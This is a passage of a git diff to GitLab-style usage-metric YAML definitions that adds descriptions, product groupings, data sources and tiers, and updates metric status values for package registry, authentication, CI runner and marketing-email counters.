diff --git a/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml b/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml
index dd3c335235b..879cfd64e03 100644
--- a/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml
+++ b/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been downloaded from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml b/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml
index 1114eb321ca..048286d10bf 100644
--- a/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml
+++ b/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_pull_package_by_deploy_token
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been downloaded from the package registry using a Deploy Token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml b/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml
index f76cac6886b..58e7b47407b 100644
--- a/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml
+++ b/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_pull_package_by_guest
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been downloaded from the package registry by a guest
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml b/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml
index fa4ee39ed81..d7cac5b13f1 100644
--- a/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml
+++ b/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_pull_package_by_user
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been downloaded from the package registry by a user
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml b/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml
index 2905f0fa31a..a4008091a8a 100644
--- a/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml
+++ b/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been published to the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml b/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml
index 920875186bd..5e4f76b1bad 100644
--- a/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml
+++ b/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_push_package_by_deploy_token
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been published to the package registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml b/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml
index a360e34eaec..6205204cb5a 100644
--- a/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml
+++ b/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_push_package_by_guest
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been published to the package registry by a Guest
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml b/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml
index 5fd7d2b3ee3..bb2bac41a08 100644
--- a/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml
+++ b/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_push_package_by_user
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been published to the package registry by a user
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml b/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml
index a943cce5ecb..42c579ba3be 100644
--- a/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml
+++ b/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_pypi_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Python packages that have been deleted from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml b/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml
index a15794a05f1..06b6e8de0b0 100644
--- a/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml
+++ b/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_pypi_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Python packages that have been downloaded from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml b/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml
index ea0c217997a..98bd5734c3b 100644
--- a/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml
+++ b/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_pypi_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Python packages that have been published to the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml b/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml
index c35c455e5d7..963ceae076d 100644
--- a/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml
+++ b/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_tag_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of package tags that have been deleted from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml b/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml
index 7b2f0fcca5b..14021b24575 100644
--- a/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml
+++ b/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_tag_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of package tags that have been downloaded from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml b/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml
index 6f5a0bc7a8b..4991ccbd835 100644
--- a/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml
+++ b/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_tag_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of package tags that have been published to the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183400_omniauth_providers.yml b/config/metrics/counts_all/20210216183400_omniauth_providers.yml
index ab73b3fca22..bb2be873f57 100644
--- a/config/metrics/counts_all/20210216183400_omniauth_providers.yml
+++ b/config/metrics/counts_all/20210216183400_omniauth_providers.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage.manage.omniauth_providers
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using an OmniAuth provider
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183402_two-factor.yml b/config/metrics/counts_all/20210216183402_two-factor.yml
index 777d4d1cdef..a2daf5c3299 100644
--- a/config/metrics/counts_all/20210216183402_two-factor.yml
+++ b/config/metrics/counts_all/20210216183402_two-factor.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage.manage.user_auth_by_provider.two-factor
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using two factor authentication
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml b/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml
index 99c1f289658..42ac42195a1 100644
--- a/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml
+++ b/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-u2f-device
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using two factor via a U2F device
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml b/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml
index 1ea27e42ed0..663a15dbdaa 100644
--- a/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml
+++ b/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-webauthn-device
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using two factor via a WebAuthn device
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183408_standard.yml b/config/metrics/counts_all/20210216183408_standard.yml
index 55b4a984ae2..0a0b1684b50 100644
--- a/config/metrics/counts_all/20210216183408_standard.yml
+++ b/config/metrics/counts_all/20210216183408_standard.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage.manage.user_auth_by_provider.standard
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using password authentication
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216183410_google_oauth2.yml b/config/metrics/counts_all/20210216183410_google_oauth2.yml
index c2fd5fad5ff..d644033c5cc 100644
--- a/config/metrics/counts_all/20210216183410_google_oauth2.yml
+++ b/config/metrics/counts_all/20210216183410_google_oauth2.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage.manage.user_auth_by_provider.google_oauth2
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using Google OAuth authentication
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml b/config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml
index d16181a9531..15859a10f59 100644
--- a/config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml
+++ b/config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml
@@ -6,7 +6,7 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55018
time_frame: all
diff --git a/config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml b/config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml
index fcb11b68ccf..d766fd5efac 100644
--- a/config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml
+++ b/config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml
@@ -6,7 +6,7 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55018
time_frame: all
diff --git a/config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml b/config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml
index c9812f109a0..4f923f250d0 100644
--- a/config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml
+++ b/config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml
@@ -6,7 +6,7 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55018
time_frame: all
diff --git a/config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml b/config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml
index 54dffb5573a..25b6c0f4e93 100644
--- a/config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml
+++ b/config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.11"
introduced_by_url:
time_frame: all
diff --git a/config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml b/config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml
index 0ce05fb84e2..d1a818fe3e1 100644
--- a/config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml
+++ b/config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: all
diff --git a/config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml b/config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml
index c3fb808541a..2a6a56a1f5a 100644
--- a/config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml
+++ b/config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: all
diff --git a/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml b/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml
index 2d42796514d..f66bb2c85c9 100644
--- a/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml
+++ b/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml
@@ -4,10 +4,10 @@ name: "count_active_instance_ci_runners"
description: Total active group Runners
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58197
time_frame: all
diff --git a/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml b/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml
index 49c99ce13ad..c6abe0905a4 100644
--- a/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml
+++ b/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml
@@ -4,10 +4,10 @@ name: "count_active_group_ci_runners"
description: Total active instance Runners
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58197
time_frame: all
diff --git a/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml b/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml
index 0c442466199..fda2b529b30 100644
--- a/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml
+++ b/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml
@@ -4,10 +4,10 @@ name: "count_active_project_ci_runners"
description: Total active project Runners
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58197
time_frame: all
diff --git a/config/metrics/counts_all/20210502050942_ci_runners_online.yml b/config/metrics/counts_all/20210502050942_ci_runners_online.yml
index d661767095f..201ffaeb415 100644
--- a/config/metrics/counts_all/20210502050942_ci_runners_online.yml
+++ b/config/metrics/counts_all/20210502050942_ci_runners_online.yml
@@ -4,10 +4,10 @@ name: "counts_online_runners"
description: Total online Runners
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58197
time_frame: all
diff --git a/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml b/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml
index d5b2bb2eab8..920ec24e9e7 100644
--- a/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml
+++ b/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml
@@ -4,10 +4,10 @@ name: "count_instance_active_online_ci_runners"
description: Total active and online instance Runners
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58197
time_frame: all
diff --git a/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml b/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml
index cedf120bfc1..e88530d97c8 100644
--- a/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml
+++ b/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml
@@ -4,10 +4,10 @@ name: "count_group_active_online_ci_runners"
description: Total active and online group Runners
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58197
time_frame: all
diff --git a/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml b/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml
index dbedcc7540d..7ce3ee6ce8b 100644
--- a/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml
+++ b/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml
@@ -4,10 +4,10 @@ name: "count_project_active_online_ci_runners"
description: Total active and online project Runners
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58197
time_frame: all
diff --git a/config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml b/config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml
index bbfae3eb114..52dd38bab8d 100644
--- a/config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml
+++ b/config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml b/config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml
index a2cf7c6d813..65440e73542 100644
--- a/config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml b/config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml
index 85552f42431..3701f0a3ba3 100644
--- a/config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml
+++ b/config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml b/config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml
index 7a1e5f28c22..70c0257481d 100644
--- a/config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml b/config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml
index 02d5ae115bb..8d8eb4630d3 100644
--- a/config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml
+++ b/config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml b/config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml
index 75eafa3a54f..965efa41883 100644
--- a/config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml b/config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml
index 0a5a9ef936f..2e5bbc29d2c 100644
--- a/config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml
+++ b/config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml b/config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml
index 17e677ba29d..23ed471a295 100644
--- a/config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml b/config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml
index 2bad6d31db2..992b39fbd1c 100644
--- a/config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml
+++ b/config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml b/config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml
index 66080d46e7f..bd9378867e6 100644
--- a/config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml
